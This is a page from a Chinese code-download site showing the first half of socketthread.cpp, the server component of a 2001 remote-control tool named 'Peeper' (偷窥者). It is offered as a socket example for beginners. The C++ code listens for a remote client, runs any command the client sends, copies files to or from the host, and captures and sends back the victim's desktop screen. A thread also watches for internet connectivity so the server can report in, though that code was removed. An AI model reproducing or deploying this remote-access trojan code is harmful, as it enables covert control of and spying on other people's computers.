⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 socketthread.cpp

📁 这是个soket的代码不是太实用但是对出学者还是有些帮助的 有需要的可以
💻 CPP
📖 第 1 页 / 共 2 页
字号:
///////////////////////////////////////////////////////////////////////////////
// 远程控制软件-偷窥者  服务器端                                             //
// 日期:2001/10/02                                                           //
// 作者:刘东发                                                               //
// Email:dongfa@yeah.net                                                     //
// http://dongfa.yeah.net                                                    //
// 作者声明:                                                                 //
//     此部分代码全是作者所写,可以随便传播,但要保持文件的完整性,有问题     //
// 或者意见请来信,谢谢!                                                      //
///////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "SocketThread.h"

static CWinThread *g_pSendDIBThread			= NULL;
static CWinThread *g_pWaitCommandThread		= NULL;
static CWinThread *g_pSendInfoThread		= NULL;
static CString     g_strAString				= _T("");
static int         g_nAInt					= 0;

UINT SendInfoThread(LPVOID lParam)
{
	BOOL bSend = FALSE;
	while(1)
	{
		BOOL bOk = ::PL_DetectInternetConnect();
		if(bOk)
		{
			TRACE("网络已连接......\n");
			if(!bSend)
			{

				//此处删掉一些代码。。。。。。呵呵~~~~

				bSend = bOk;
			}
		}
		else
		{
			bSend = FALSE;
		}
		::Sleep(10000);
	}
	return 0;
}

UINT WaitCommandThread(LPVOID lParam)
{
	BYTE chFlag = (BYTE)lParam;
	switch(chFlag)
	{
	case PL_MSG:
		{
			if(g_strAString.GetLength() > 0)
			{
				::MessageBox(NULL, g_strAString, _T("Warning!"), 
					MB_OK | MB_ICONINFORMATION | MB_SYSTEMMODAL);
				g_strAString = _T("");
			}
		}
		break ;
	case PL_FUNC_EXEC:
		{
			if(g_strAString.GetLength() > 0)
			{
				::PL_ExecuteCommand(g_strAString.GetBuffer(0));
				g_strAString.ReleaseBuffer();
				g_strAString = _T("");
			}
		}
		break ;
	case PL_FUNC_FILE_COPY_S:
		{
			if(g_strAString.GetLength() > 0 && g_nAInt > 0)
			{
				::PL_CopyFileServer(g_nAInt, g_strAString.GetBuffer(0), FALSE, NULL);
				g_strAString.ReleaseBuffer();
				g_strAString = _T("");
				g_nAInt = 0;
			}
		}
		break ;
	case PL_FUNC_FILE_COPY_C:
		{
			if(g_strAString.GetLength() > 0 && g_nAInt > 0)
			{
				::PL_CopyFileServer(g_nAInt, g_strAString.GetBuffer(0), TRUE, NULL);
				g_strAString.ReleaseBuffer();
				g_strAString = _T("");
				g_nAInt = 0;
			}
		}
		break ;
	default :
		break ;
	}

	g_pWaitCommandThread = NULL;

	return 0;
}

UINT SendDIBThread(LPVOID lParam)
{
	int nRet = -1;
	SOCKET s = (SOCKET)lParam;

	//wait client receive
	BYTE chData[20];
	ZeroMemory(chData, 20);
	nRet = ::PL_ReadSocketData(s, chData, 20, NULL);
	if(nRet > 0)
	{
		HWND hDesktopWnd = ::GetDesktopWindow();
		HBITMAP hBmp = ::PL_GetBitmap(hDesktopWnd);
		HDIB hDib = NULL;
		
		PL_ColorType ctColor = *((PL_ColorType *)(chData));
		PL_ZipType ztZip = *((PL_ZipType *)(chData+sizeof(PL_ColorType)));
		
		int nBits = 4;
		switch(ctColor)
		{
		case color_1:
			{
				nBits = 1;
			}
			break ;
		case color_4:
			{
				nBits = 4;
			}
			break ;
		case color_8:
			{
				nBits = 8;
			}
			break ;
		case color_24:
			{
				nBits = 24;
			}
			break ;
		default :
			{
				nBits = 4;
			}
			break ;
		}
		hDib = ::PL_BmpToDIB(hBmp, NULL, nBits);
		
		switch(ztZip)
		{
		case zip_none:
			{
				;
			}
			break ;
		case zip_lz77:
			{
				HDIB hZipDib = (HDIB)::PL_LZ77_Zip(hDib);
				::GlobalFree(hDib);
				hDib = hZipDib;
			}
			break ;
		case zip_lzw:
			{
				HDIB hZipDib = (HDIB)::PL_LZW_Zip(hDib);
				::GlobalFree(hDib);
				hDib = hZipDib;
			}
			break ;
		case zip_jpeg:
			{
			}
			break ;
		case zip_lzss:
			{
				HDIB hZipDib = (HDIB)::PL_LZSS_Zip(hDib);
				::GlobalFree(hDib);
				hDib = hZipDib;
			}
			break ;
		case zip_ari:
			{
				HDIB hZipDib = (HDIB)::PL_ARI_Zip(hDib);
				::GlobalFree(hDib);
				hDib = hZipDib;
			}
			break ;
		default :
			break ;
		}
		//send start
		SIZE sz = ::PL_GetScreenSize();
		int nSize = GlobalSize(hDib);
		memcpy(chData, &nSize, sizeof(int));
		int cx = sz.cx;
		int cy = sz.cy;
		memcpy(chData+sizeof(int), &cx, sizeof(int));
		memcpy(chData+sizeof(int)*2, &cy, sizeof(int));
		nRet = ::PL_SendSocketData(s, chData, sizeof(int)*3, PL_DIB);
		//send bits
		LPBYTE lpData = (LPBYTE)GlobalLock(hDib);
		for(int i = 0; i < nSize/PL_SOCKET_MAXBYTES; i ++)
		{
			nRet = ::PL_SendSocketData(s, (BYTE *)(lpData+(i*PL_SOCKET_MAXBYTES)), 
				PL_SOCKET_MAXBYTES);
		}
		int nRem = nSize - nSize/PL_SOCKET_MAXBYTES*PL_SOCKET_MAXBYTES;
		nRet = ::PL_SendSocketData(s, (BYTE *)(lpData + nSize/PL_SOCKET_MAXBYTES*PL_SOCKET_MAXBYTES), nRem);
		GlobalUnlock(hDib);
		::DeleteObject(hBmp);
		GlobalFree(hDib);
	}
	g_pSendDIBThread = NULL;

	return 0;
}

CSocketThread::CSocketThread(UINT uPort)
{
	m_uPort = uPort;
	m_sckClient[0] = INVALID_SOCKET;
	m_sckClient[1] = INVALID_SOCKET;
	m_sckServer = INVALID_SOCKET;

	m_nBits = 4;
}

CSocketThread::~CSocketThread()
{
	if(g_pSendInfoThread != NULL)
	{
		::TerminateThread(g_pSendInfoThread->m_hThread, 0);
		::WaitForSingleObject(g_pSendInfoThread->m_hThread, INFINITE);
		g_pSendInfoThread = NULL;
	}
	::PL_TermSocket();
	ExitServer();
}

int CSocketThread::Run()
{
	g_pSendInfoThread = AfxBeginThread(SendInfoThread, NULL, THREAD_PRIORITY_IDLE);
	while(1)
	{
		if(CreateServer())
		{
			BYTE *chData = new BYTE[PL_SOCKET_MAXBYTES+1];
			while(1)
			{
				ZeroMemory(chData, PL_SOCKET_MAXBYTES+1);
				int nRet = ::PL_ReadSocketData(m_sckClient[0], chData, PL_SOCKET_MAXBYTES, NULL);
				if(nRet != SOCKET_ERROR)
				{
					// 处理命令
					nRet = DoReceive(chData, nRet);
				}
				else
				{
					TRACE(_T("接收数据错误,客户已经断开了......\n"));
					break ;
				}
			}
			delete []chData;
			chData = NULL;
		}
		ExitServer();
	}
	return ExitInstance();
}

int CSocketThread::DoReceive(BYTE *chData, int nLen)
{
	int nRet = 0;
	switch(chData[0])//第一个字符为命令
	{
	case PL_PEEPER_VER://取服务端版本
		{
			char chTemp[15];
			ZeroMemory(chTemp, 15);
			sprintf(chTemp, "%s", PEEPER_SERVER_VER_15);
			::PL_SendSocketData(m_sckClient[0], (BYTE *)chTemp, strlen(chTemp), 
				PL_PEEPER_VER);
		}
		break ;
	case PL_CLOSE_PEEPER://关闭服务,退出程序
		{
			ExitServer();
			ExitThread(0);
		}
		break ;
	case PL_CLIENT_CLOSE://关闭连接
		{
			ExitServer();
		}
		break ;
	case PL_MSG://显示一个对话框信息,使用了线程
		{
			g_strAString.Format(_T("%s"), chData+1);
			if(g_pWaitCommandThread != NULL)
			{
				::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
				::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
				g_pWaitCommandThread = NULL;
			}
			g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, (LPVOID)PL_MSG);
		}
		break ;
	case PL_DIB://获得桌面图像
		{
			if(g_pSendDIBThread != NULL)
			{
				::TerminateThread(g_pSendDIBThread->m_hThread, 0);
				::WaitForSingleObject(g_pSendDIBThread->m_hThread, INFINITE);
				g_pSendDIBThread = NULL;
			}
			g_pSendDIBThread = AfxBeginThread(SendDIBThread, (LPVOID)m_sckClient[1]);
		}
		break ;
	case PL_DIB_BITS://桌面图像颜色数
		{
			m_nBits = *((int*)(chData+1));
		}
		break ;
	case PL_SCREEN_SIZE://显示器分辨率
		{
			int cx = ::GetSystemMetrics(SM_CXSCREEN);
			int cy = ::GetSystemMetrics(SM_CYSCREEN);
			BYTE chTemp[15];
			ZeroMemory(chTemp, 15);
			memcpy(chTemp, &cx, sizeof(int));
			memcpy(chTemp + sizeof(int), &cy, sizeof(int));

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -